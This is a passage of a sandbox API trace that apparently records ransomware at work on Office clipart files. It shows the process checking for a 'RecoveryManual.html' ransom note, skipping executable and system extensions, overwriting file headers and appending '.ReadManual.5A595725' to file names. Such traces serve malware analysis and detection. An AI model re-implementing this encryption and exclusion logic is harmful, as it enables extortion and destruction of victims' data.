lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1364, lpName=0x0) returned 0x184 [0266.316] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.316] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.316] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.318] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.318] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1364) returned 0x2f0000 [0266.318] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.318] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38698690762) returned 1 [0266.318] CloseHandle (hObject=0x184) returned 1 [0266.318] SetSecurityInfo () returned 0x57 [0266.318] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.318] CloseHandle (hObject=0x194) returned 1 [0266.318] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0266.318] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105380.WMF" | out: lpString1="J0105380.WMF") returned="J0105380.WMF" [0266.319] lstrcmpiW (lpString1="J0105380.WMF", lpString2="RecoveryManual.html") returned -1 [0266.319] StrStrIW (lpFirst="J0105380.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.319] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.319] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.319] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" [0266.319] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.ReadManual.5A595725" [0266.319] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.ReadManual.5A595725") returned 87 [0266.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38698787014) returned 1 [0266.319] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0266.319] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.320] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4624) returned 1 [0266.320] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1210, lpName=0x0) returned 0x184 [0266.320] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.320] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.320] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.322] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.322] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1210) returned 0x2f0000 [0266.322] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.322] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38699102711) returned 1 [0266.322] CloseHandle (hObject=0x184) returned 1 [0266.322] SetSecurityInfo () returned 0x57 [0266.322] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.322] CloseHandle (hObject=0x194) returned 1 [0266.323] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0266.323] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105384.WMF" | out: lpString1="J0105384.WMF") returned="J0105384.WMF" [0266.323] lstrcmpiW (lpString1="J0105384.WMF", lpString2="RecoveryManual.html") returned -1 [0266.323] StrStrIW (lpFirst="J0105384.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.323] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.323] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.323] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" [0266.323] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.ReadManual.5A595725" [0266.323] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.ReadManual.5A595725") returned 87 [0266.323] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38699198667) returned 1 [0266.323] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20 [0266.323] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.324] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5880) returned 1 [0266.324] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f8, lpName=0x0) returned 0x184 [0266.324] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.324] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.324] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.326] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.326] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f8) returned 0x2f0000 [0266.326] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.327] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38699530056) returned 1 [0266.327] CloseHandle (hObject=0x184) returned 1 [0266.327] SetSecurityInfo () returned 0x57 [0266.327] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.327] CloseHandle (hObject=0x194) returned 1 [0266.327] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0266.327] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105386.WMF" | out: lpString1="J0105386.WMF") returned="J0105386.WMF" [0266.327] lstrcmpiW (lpString1="J0105386.WMF", lpString2="RecoveryManual.html") returned -1 [0266.327] StrStrIW (lpFirst="J0105386.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.327] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.327] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.327] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" [0266.327] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.ReadManual.5A595725" [0266.327] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.ReadManual.5A595725") returned 87 [0266.327] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38699625203) returned 1 [0266.328] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20 [0266.328] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.328] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5980) returned 1 [0266.328] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x175c, lpName=0x0) returned 0x184 [0266.328] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.329] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.329] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.330] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.331] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x175c) returned 0x2f0000 [0266.331] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.331] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38699960883) returned 1 [0266.331] CloseHandle (hObject=0x184) returned 1 [0266.331] SetSecurityInfo () returned 0x57 [0266.331] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.331] CloseHandle (hObject=0x194) returned 1 [0266.331] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0266.331] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105388.WMF" | out: lpString1="J0105388.WMF") returned="J0105388.WMF" [0266.331] lstrcmpiW (lpString1="J0105388.WMF", lpString2="RecoveryManual.html") returned -1 [0266.331] StrStrIW (lpFirst="J0105388.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.331] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.331] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.331] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.331] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.331] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.331] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.331] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.331] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.332] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.332] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.332] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.332] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.332] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.332] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.332] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" [0266.332] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.ReadManual.5A595725" [0266.332] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.ReadManual.5A595725") returned 87 [0266.332] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38700056696) returned 1 [0266.332] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20 [0266.333] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.333] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8252) returned 1 [0266.333] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x203c, lpName=0x0) returned 0x184 [0266.333] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.334] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.334] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.335] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.335] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x203c) returned 0x2f0000 [0266.336] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.336] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38700471834) returned 1 [0266.336] CloseHandle (hObject=0x184) returned 1 [0266.336] SetSecurityInfo () returned 0x57 [0266.336] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.336] CloseHandle (hObject=0x194) returned 1 [0266.336] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0266.336] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105390.WMF" | out: lpString1="J0105390.WMF") returned="J0105390.WMF" [0266.336] lstrcmpiW (lpString1="J0105390.WMF", lpString2="RecoveryManual.html") returned -1 [0266.336] StrStrIW (lpFirst="J0105390.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.336] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.336] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.336] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.336] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.337] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.337] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" [0266.337] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.ReadManual.5A595725" [0266.337] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.ReadManual.5A595725") returned 87 [0266.337] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38700569628) returned 1 [0266.337] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 0x20 [0266.337] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.337] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4944) returned 1 [0266.337] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1350, lpName=0x0) returned 0x184 [0266.338] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.338] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.338] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.340] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.340] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1350) returned 0x2f0000 [0266.340] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38700892570) returned 1 [0266.340] CloseHandle (hObject=0x184) returned 1 [0266.340] SetSecurityInfo () returned 0x57 [0266.340] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.340] CloseHandle (hObject=0x194) returned 1 [0266.340] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, 